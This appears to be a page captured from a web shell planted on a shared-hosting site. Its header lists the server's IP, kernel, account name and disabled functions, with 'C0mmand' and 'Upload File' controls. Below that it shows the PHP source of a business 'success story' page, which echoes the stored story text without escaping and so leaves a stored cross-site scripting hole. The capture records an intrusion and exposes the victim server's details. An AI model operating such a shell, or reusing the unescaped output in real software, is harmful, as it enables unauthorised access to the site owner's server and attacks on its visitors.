|
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10 / Your IP : 216.73.217.124 Web Server : LiteSpeed System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64 User : u213657319 ( 213657319) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u213657319/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("include/connection.php");
include("include/header.php");
if(!isset($_GET['id'])){
echo "<script>window.location='success-stories.php';</script>";
exit();
}
$id = intval($_GET['id']);
$get = mysqli_query($con,"SELECT * FROM business_stories WHERE id='$id' AND status='Approved'");
$story = mysqli_fetch_assoc($get);
if(!$story){
echo "<script>window.location='success-stories.php';</script>";
exit();
}
$attachment = $story['attachment'];
$filePath = "uploads/business_story/".$attachment;
$fileExt = strtolower(pathinfo($attachment, PATHINFO_EXTENSION));
?>
<section class="breadcrumbs">
<div class="container">
<div class="d-flex justify-content-between align-items-center">
<h2><?= htmlspecialchars($story['business_name']); ?></h2>
<ol>
<li><a href="index.php">Home</a></li>
<li><a href="success-stories.php">Success Stories</a></li>
<li>Details</li>
</ol>
</div>
</div>
</section>
<section class="py-5">
<div class="container">
<div class="row">
<div class="col-lg-8 mx-auto">
<h2 style="color:#e67e22;font-weight:700;">
<?= htmlspecialchars($story['business_name']); ?>
</h2>
<p><strong>Founder:</strong> <?= htmlspecialchars($story['name']); ?></p>
<p><strong>Location:</strong> <?= htmlspecialchars($story['business_location']); ?></p>
<p><strong>Nature:</strong> <?= htmlspecialchars($story['nature_of_business']); ?></p>
<hr>
<?php
if(!empty($attachment) && file_exists($filePath) && in_array($fileExt,['jpg','jpeg','png'])){ ?>
<img src="<?= $filePath ?>" class="img-fluid mb-4" style="border-radius:15px;">
<?php } ?>
<p style="text-align:justify;">
<?= $story['success_story']; ?>
</p>
<?php
if(!empty($attachment) && file_exists($filePath) && $fileExt == 'pdf'){ ?>
<div class="mt-4">
<a href="<?= $filePath ?>" target="_blank" class="btn btn-primary">
Download Full Story (PDF)
</a>
</div>
<?php } ?>
</div>
</div>
</div>
</section>
<?php include("include/footer.php"); ?>